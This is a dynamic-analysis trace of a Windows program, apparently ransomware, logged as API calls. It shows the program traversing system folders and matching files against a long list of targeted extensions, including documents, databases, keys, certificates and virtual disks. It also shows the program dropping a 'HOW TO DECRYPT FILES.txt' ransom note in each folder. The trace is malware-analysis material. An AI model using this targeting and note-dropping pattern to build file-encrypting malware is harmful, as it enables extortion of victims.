[0112.339] lstrlenA (lpString="*.rar") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.zip") returned 0 [0112.339] lstrlenA (lpString="*.zip") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.html") returned 0 [0112.339] lstrlenA (lpString="*.html") returned 6 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.htm") returned 0 [0112.339] lstrlenA (lpString="*.htm") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.xlsx") returned 0 [0112.339] lstrlenA (lpString="*.xlsx") returned 6 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.xls") returned 0 [0112.339] lstrlenA (lpString="*.xls") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mp4") returned 0 [0112.339] lstrlenA (lpString="*.mp4") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.ppt") returned 0 [0112.339] lstrlenA (lpString="*.ppt") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.pptx") returned 0 [0112.339] lstrlenA (lpString="*.pptx") returned 6 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.doc") returned 0 [0112.339] lstrlenA (lpString="*.doc") returned 5 [0112.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.dot") returned 0 [0112.340] lstrlenA (lpString="*.dot") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.docx") returned 0 [0112.340] lstrlenA (lpString="*.docx") returned 6 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.7z") returned 0 [0112.340] lstrlenA (lpString="*.7z") returned 4 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.tar") returned 0 [0112.340] lstrlenA (lpString="*.tar") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.bz2") returned 0 [0112.340] lstrlenA (lpString="*.bz2") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.gz") returned 0 [0112.340] lstrlenA (lpString="*.gz") returned 4 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mkv") returned 0 [0112.340] lstrlenA (lpString="*.mkv") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.eml") returned 0 [0112.340] lstrlenA (lpString="*.eml") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.msg") returned 0 [0112.340] lstrlenA (lpString="*.msg") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.edb") returned 0 [0112.340] lstrlenA (lpString="*.edb") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.accdb") returned 0 [0112.340] lstrlenA (lpString="*.accdb") returned 7 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.odb") returned 0 [0112.340] lstrlenA (lpString="*.odb") returned 5 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.java") returned 0 [0112.340] lstrlenA (lpString="*.java") returned 6 [0112.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.asm") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.pfx") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.pem") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.p12") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.gpg") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.vsd") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.odg") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.raw") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.nef") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.svg") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.psd") returned 0 [0112.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.vmx") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.vmdk") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.vdi") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.lay6") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mpeg") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.djvu") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.tiff") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.backup") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.pdf") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.cert") returned 0 [0112.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.docm") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.xlsm") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.dwg") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.nd") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.tlg") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.lgb") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mov") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.xdw") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.ods") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.wav") returned 0 [0112.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.mp3") returned 0 [0112.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.aiff") returned 0 [0112.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.flac") returned 0 [0112.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.m4a") returned 0 [0112.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn.Contra#\\eadb7dd5fe85da92b491154484bc40e3\\System.AddIn.Contract.ni.dll", pszSpec="*.csv") returned 0 [0112.344] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea69b51, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdea69b51, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdea8fcb1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x26400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.Contract.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.344] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.344] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdeab5e11, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdeadbf72, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdeadbf72, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eadb7dd5fe85da92b491154484bc40e3", cAlternateFileName="EADB7D~1")) returned 0 [0112.344] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.344] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d93036, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d93036, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ComponentMod#", cAlternateFileName="SYSTEM~2.COM")) returned 1 [0112.344] lstrcmpA (lpString1=".", lpString2="System.ComponentMod#") returned -1 [0112.344] lstrcmpA (lpString1="..", lpString2="System.ComponentMod#") returned -1 [0112.345] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.345] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.ComponentMod#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#" [0112.345] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d93036, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d93036, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.345] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.345] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d93036, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d93036, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.345] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.345] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.345] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d93036, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d93036, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="560cb6a2e8f4877877b11de7c1f07d42", cAlternateFileName="560CB6~1")) returned 1 [0112.345] lstrcmpA (lpString1=".", lpString2="560cb6a2e8f4877877b11de7c1f07d42") returned -1 [0112.345] lstrcmpA (lpString1="..", lpString2="560cb6a2e8f4877877b11de7c1f07d42") returned -1 [0112.345] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\*.*") returned="*.*" [0112.345] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\", lpString2="560cb6a2e8f4877877b11de7c1f07d42" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42" [0112.346] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d93036, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d93036, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.346] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.346] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d93036, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d93036, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.346] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.346] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.346] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d46d76, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d46d76, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d46d76, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.346] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.346] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ComponentModel.DataAnnotations.ni.dll") returned -1 [0112.346] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ComponentModel.DataAnnotations.ni.dll") returned -1 [0112.346] lstrcmpiA (lpString1="", lpString2="System.ComponentModel.DataAnnotations.ni.dll") returned -1 [0112.346] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\*.*") returned="*.*" [0112.346] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\" [0112.346] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\") returned="" [0112.347] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\HOW TO DECRYPT FILES.txt" [0112.347] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.componentmod#\\560cb6a2e8f4877877b11de7c1f07d42\\how to decrypt files.txt")) returned 0xffffffff [0112.347] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.componentmod#\\560cb6a2e8f4877877b11de7c1f07d42\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.378] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.379] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.380] CloseHandle (hObject=0x90) returned 1 [0112.380] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\", lpString2="System.ComponentModel.DataAnnotations.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll" [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ems") returned 0 [0112.380] lstrlenA (lpString="*.ems") returned 5 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.db") returned 0 [0112.380] lstrlenA (lpString="*.db") returned 4 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dbf") returned 0 [0112.380] lstrlenA (lpString="*.dbf") returned 5 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.myox") returned 0 [0112.380] lstrlenA (lpString="*.myox") returned 6 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.myo") returned 0 [0112.380] lstrlenA (lpString="*.myo") returned 5 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbw") returned 0 [0112.380] lstrlenA (lpString="*.qbw") returned 5 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbb") returned 0 [0112.380] lstrlenA (lpString="*.qbb") returned 5 [0112.380] PathMatchSpecA 